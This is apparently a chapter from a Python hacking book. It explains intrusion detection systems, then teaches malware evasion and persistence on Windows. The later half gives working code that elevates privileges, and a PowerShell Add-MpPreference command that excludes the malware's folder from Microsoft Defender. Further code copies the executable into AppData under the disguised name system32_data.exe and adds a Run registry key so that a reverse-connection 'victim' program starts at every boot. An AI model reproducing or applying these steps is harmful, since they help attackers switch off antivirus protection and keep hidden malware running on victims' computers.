In this chapter, we are going to focus our attention on how defense mechanisms work and by understanding how they work, you can learn what techniques you can use to bypass them. We will start by learning about intrusion detection systems and their different types. After that, we will learn about detection mechanisms. Once we understand these mechanisms, we will try to bypass them using our tools. In summary, this chapter will focus on the following topics:
Our previous chapters focused on creating malware and carrying out different attacks. This is the offensive side of attacks. However, in real-life hacking, you need to know how to protect yourself against external attacks. A better understanding of protection mechanisms would help you to not only protect yourself, but this knowledge would also help you to carry out successful attacks. The first line of defense against external network attacks, or system attacks in general, is the Intrusion Detection System (IDS). IDS is an umbrella term for a lot of tools used for system security and protection, so we must learn about them in detail.
IDSes are a system that monitor and detect the components of your network or system on a continuous basis to detect any undesirable or suspicious behavior. The goal of an IDS is to prevent any undesirable scenario in a system. Fundamentally, there are three types of IDS:
Let's discuss these in detail in the following sections.
Host-based IDSes run on the system they are monitoring. Along with other software, host-based IDSes monitor the filesystem to scan for any potentially harmful files. They also monitor and analyze network traffic to see whether any malicious traffic is occurring over the network.
Host-based IDSes are an important part of a system's security apparatus; however, they often do not give complete details regarding the security state of the system. They can be modified and even bypassed by different attacks. An important aspect of a host-based IDS is how up to date it is in terms of modern threat detection. It should constantly keep up with the modern threats and block them immediately if it detects them. An important feature of a host-based IDS is to keep a log of all critical activities occurring on a system. This can help a lot in threat detection and incidence response.
On most common OSes, you have some sort of host-based IDS already built in. In a Windows OS, Windows built-in antivirus is part of the host IDS. It monitors and detects any suspicious activity on the system and blocks potential threats from acting on a system. Along with virus detection, it also works to detect any tampering of critical Windows infrastructure.
Another important aspect of system security is network-based protection. Network-based IDSes play a key role in limiting external network attacks from taking place. They play a role in protecting all devices present in a network. It observes network traffic over the whole subnet to monitor suspicious activity. It can be combined with firewalls to provide additional security. Sometimes, network-wide firewalls are part of an IDS.
As the name suggests, these detection systems provide much more security for the system as compared with individual systems. They combined both system-based and network-based approaches to catch malicious behavior and have a much higher rate of detection. Modern hybrid IDSes use both conventional and artificial intelligence (AI)-based techniques to prevent network attacks.
Now that we have learned about different types of IDS, let's see how these IDSes work.
Most common IDSes work by using the following two fundamental techniques, although modern IDSes use much more sophisticated approaches. Let's take a look at different detection mechanisms and how they are used in real systems.
This is a classical knowledge-based approach and has been used since the early days of computer security. In this approach, the protection software has access to a large known database of malware. Using the database, it can see what bytes are present in the malware, and then it simply compares any new file introduced to the system with this byte sequence. If the byte sequence of an unknown file matches with the byte sequence present in the database, this means that the unknown file is most probably malicious, and it will immediately block this file. Otherwise, it will continue with normal operations. The algorithm looks like this in its simplest form:
Figure 9.1 – Signature-based detection mechanism
Signature-based detection works great for known malware, so a good IDS must have a larger malware database. This method is only going to be as good as the database it has for testing. Newly written malware that has not yet been detected will give a false negative for this test.
These detection systems work differently to the signature-based approach. They monitor the activities that a program undertakes. It defines certain scenarios that it regards as normal behavior and then looks for any anomaly in these behaviors. For example, a game software should not try to disable the antivirus system. Once a malware program tries to do something it is not supposed to, these systems flag these programs as suspicious and keep monitoring them until they detect that a program is trying to perform something it absolutely shouldn't. Once it detects suspicious behavior, it would either block the program altogether or generate a red alert for the administrator.
Note that there is a small difference between IDSes and Intrusion Prevention Systems (IPSes). For practical purposes, most of the time, these tasks are performed by the same piece of software and we don't make any practical distinction between them. Occasionally, however, you will see that IDSes and IPSes are mentioned separately, so you should know the difference between them.
Now that we have learned what an IDS is and how it works, we can start building a program to learn how to bypass these systems.
In Chapter 6, Malware Development, and Chapter 7, Advanced Malware, we developed our malware program, and in Chapter 8, Post Exploitation, we learned how to package our malware into a trojan. Our malware works great and most probably will not be detected by the IDS if it is using a signature-based approach since the malware is written by you and no signature exists for your program anywhere. However, modern IDSes are quite clever and after a couple of runs, they will start noting suspicious behaviors for which they use very exhaustive methods. In this section, we will try to see how we can run our Python executable and administrator privileges. This will help to achieve certain tasks on the victim's machine that a normal executable will not be able to do. For example, disabling the antivirus program on Windows, or creating an exception for a certain folder so that the virus scanner doesn't scan it, requires administrator privileges in Windows. You can't perform activities such as this with a normal executable.
Let's see first how we can run an executable with administrator privileges. You can use this method in combination with your malware program. However, for the sake of simplicity, I will use a simple Python script to demonstrate this procedure.
Let's create a new Python script. Create a new virtual environment as well. There are multiple ways to elevate privileges for a Python program and you will find multiple solutions online. However, the simplest solution I have found is to use a library called elevate. Since we will be creating an executable for demo purposes, let's install pyinstaller as well.
Once you have created a new project and installed pyinstaller in the virtual environment, let's run the following line to download the elevate Python module:
pip install elevate
Once this package is installed, you can use it inside your code to increase privileges for your executable. In my experience, I have found out that it is a good idea to put this functionality at the start of your script to get the best results. To elevate privileges for the script, you can simply call the elevate function from this module.
Let's try to first see what the user privilege level is before we use this module. Simply write the following code to test. We can use the os module to check for root privileges:
import ctypes
import platform
def is_root():
if platform.system() == "Windows":
return ctypes.windll.shell32.IsUserAnAdmin()
else:
return 1
print(is_root())
You can use the preceding code to see whether the program is running in elevated mode. If the value returned by the previous code is 1, this means it is being run as an administrator, otherwise it is running in non-administrator mode. Let's run the previous program to see the execution mode:
Figure 9.2 – No administrator privileges
Now, to elevate, you can simply call the elevate() method. Note that there is a small caveat in how privilege escalation works in Windows. When a call to elevate() is made, instead of running the same script as administrator, Windows restarts the same script as a separate process with higher privileges. There is no workaround for this yet. So, when the call to elevate is made, a new process will start. Let's begin by elevating privileges:
import ctypes
import platform
import time
from elevate import elevate
def is_root():
if platform.system() == "Windows":
return ctypes.windll.shell32.IsUserAnAdmin()
else:
return 1
print(is_root())
elevate()
print(is_root())
Let's now create an executable, (as we did in Chapter 8, Post Exploitation, in the Packaging malware section) as well to see all of this in action. To run the program, double-click on the executable created. You will see the following popup asking the user to click Yes to escalate privileges. If the user clicks Yes, the program will run in administrator mode:
Figure 9.3 – UAC (user account control) popup
Press Yes and you will see the following screen, indicating that a new process has been created and is running with higher privileges, indicated by 1:
Figure 9.4 – Admin privileges
Now that we have learned how to run our script as an administrator, let's see how we can modify Windows settings to add exceptions to the IDS scanning. We will add a directory to the Windows exception rules. This will allow us to skip virus scanning for a certain directory and will help us to plant malware in that directory.
The complete code to elevate privileges is present at the following link: https://github.com/PacktPublishing/Python-Ethical-Hacking/blob/main/example14-priv-escalation/escalation.py.
In the previous program, we first elevate privileges and then add an exception to the folder where our malware is present in Windows defender settings. This will skip the scanning of the current folder. The following code achieves this: objective.d:
command = "Add-MpPreference -ExclusionPath " + dir_to_add
all_commands.append(command)
The previous line adds an exception to the Microsoft Defender scanning repositories, as shown in the following screenshot:
Figure 9.5 – Added exclusion for virus scanning
Now we know how to make our program run in stealth mode and avoid detection by an IDS. Next, we will add persistence to our program. This will allow our program to run when Windows starts up so that a user doesn't have to click on the malware program every time in order for us to have a reverse connection. The victim will only click on the malware once and we will add a Windows registry key for the start up program so that every time the computer is started, our malware program will run. You can use this method on the victim program we developed earlier. Here, for the sake of simplicity, I will just use a demo script.
In this section, we will learn how to run our Python script when starting up Windows. Let's create a new project. You can also modify the victim program that we developed earlier in Chapter 6, Malware Development, and Chapter 7, Advanced Malware. To add persistence to our program, we need to know exactly the name of the executable we are running. Once we know the executable, we can make a copy of this executable somewhere else and run it from there every time the system boots. This sounds complicated, so let's take a look at it bit by bit. First, we will need to know the name of the executable. To find this out, let's write the following code:
import sys
curr_executable = sys.executable
print("Current executable : ", curr_executable)
The output of the aforementioned program if you run it as a Python script would be as follows:
Figure 9.6 – Current interpreter name
This only tells us the name of the Python interpreter and not the name of the executable that we need. Why is that? Because we are only running a script at the moment. The only way to get the actual name of the executable when we run the file as a binary executable is by using pyinstaller. Create a binary executable and run the executable by double-clicking it. Take a look at the following screenshot:
Figure 9.7 – Actual executable name
You can see that now we are getting the actual executable name that we need. The next step is to create a copy of this executable and store it somewhere else so that it is hidden from the victim and finally add a registry to the start up applications.
We will copy this executable to the AppData folder on Windows, which is a special folder that contains application data. To get the path of the appdata folder, you can write the following code:
app_data = os.getenv("APPDATA")
Let's rename the executable so it doesn't look suspicious. We will call this executable system32_data.exe. This is a made-up name and you can use any name you want:
to_save_file = app_data +"\"+"system32_data.exe"
Next, copy the current executable to appdata and rename it. We will need to import the shutil module from the Python standard library:
shutil.copyfile(curr_executable, to_save_file)
To add it to the Windows registry at startup, you need to run the following code:
key = winreg.HKEY_CURRENT_USER
# "SoftwareMicrosoftWindowsCurrentVersionRun"
key_value = "Software\Microsoft\Windows\CurrentVersion\Run"
key_obj = winreg.OpenKey(key, key_value, 0, winreg.KEY_ALL_ACCESS)
winreg.SetValueEx(key_obj, "systemfilex64", 0, winreg.REG_SZ, to_save_file)
winreg.CloseKey(key_obj)
This code simply adds the to_save_file string, which contains the executable name to the start up registry.
To make changes to the program, you need to run this executable in administrator mode, so you can copy the code from the previous section and add it to the start of this script. The complete code is linked here:
if not os.path.exists(to_save_file):
print("Becoming Persistent")
shutil.copyfile(curr_executable, to_save_file)
key = winreg.HKEY_CURRENT_USER
# "SoftwareMicrosoftWindowsCurrentVersionRun"
key_value = "Software\Microsoft\Windows\CurrentVersion\Run"
key_obj = winreg.OpenKey(key, key_value, 0, winreg.KEY_ALL_ACCESS)
winreg.SetValueEx(key_obj, "systemfilex64", 0, winreg.REG_SZ, to_save_file)
winreg.CloseKey(key_obj)
else:
print("path doesnt exist")
After running the code, if you go to the appdata folder, you will see the following executable:
Figure 9.8 – Current executable copied to the appdata folder
Also, to verify whether the Windows registry has been modified, open the registry editor by searching for regedit in a Windows search. Open it and go to the following path:
"HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run":
Figure 9.9 – Edited registry
The final row is the entry we just added. You can see that the Data field in the preceding screenshot links to the executable we just copied. Now, if you restart the PC, you will see that once the system boots up, the aforementioned executable will be started automatically. By way of practice, try to replicate the same procedure with the victim malware program. You should be able to get a return connection from the victim's machine when the victim boots up their computer.
In this chapter, we learned different system protection techniques. We started by getting an understanding of system protection and how different IDSes/IPSes work. We learned about different types of detection mechanisms. We also learned about using executables with elevated privileges. Finally, we learned how to make our executables persistent. This knowledge, combined with things you learned in previous chapters, will allow you to develop your malware tools without being easily detected. As long as you keep the impact of your malware on the system low, it would not be easy for an IDS to detect your malware. I hope you learned a lot and enjoyed this book! Remember that cybersecurity is an everchanging field and you need to be constantly up to date with modern tools in order to become a successful penetration tester.